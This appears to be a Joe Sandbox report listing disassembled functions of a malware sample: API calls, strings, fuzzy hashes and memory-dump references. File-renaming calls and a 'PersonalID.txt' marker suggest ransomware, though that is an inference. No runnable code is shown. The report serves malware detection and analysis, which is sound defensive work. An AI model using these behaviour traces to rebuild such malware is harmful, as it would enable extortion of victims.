Opcode ID: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction ID: 0eb901185732211e3be4e37390737b2086ad5c5ed8a4bd7d6c842829bf201ec1
Opcode Fuzzy Hash: 5898d431aa7bc51d8275c67bd3d0945cf80b17b08d4c1006f571a635e441fa64
Instruction Fuzzy Hash: 6C21D771208341ABD7209F24D844B9BBBE8AF81758F004E6FF88993291D77A9549879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C470 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C48B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C4A9

Strings

bowsakkdestx.txt, xrefs: 0040C49D

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction ID: 3b6c08389df4e48a430741a1ce4ce94f3584f996b8880ee9781e1533d320f445
Opcode Fuzzy Hash: cacc9ec5c69f508a09e097335cbe8ae863f85dc58f645bd4f6fa7f4b17594c00
Instruction Fuzzy Hash: 8701DB72B8022873D9306A557C86FFB775C9F51721F0001B7FE08D6181E5E9554646D5

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 20cae3c5e78afeae97c98bf97395d4880d3d2f78c985c4e7d835da5267c73c74
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 20cae3c5e78afeae97c98bf97395d4880d3d2f78c985c4e7d835da5267c73c74
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

string too long, xrefs: 00414C33
invalid string position, xrefs: 00414C3D

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

string too long, xrefs: 00417EE9
invalid string position, xrefs: 00417EDF

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777
unknown, xrefs: 0045175D

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 7904872b51d802953746902f9a5302fc6c485efb715002b991a685ebf37c2d21
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 7904872b51d802953746902f9a5302fc6c485efb715002b991a685ebf37c2d21
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000001.00000002.1685316298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1685316298.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1685316298.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

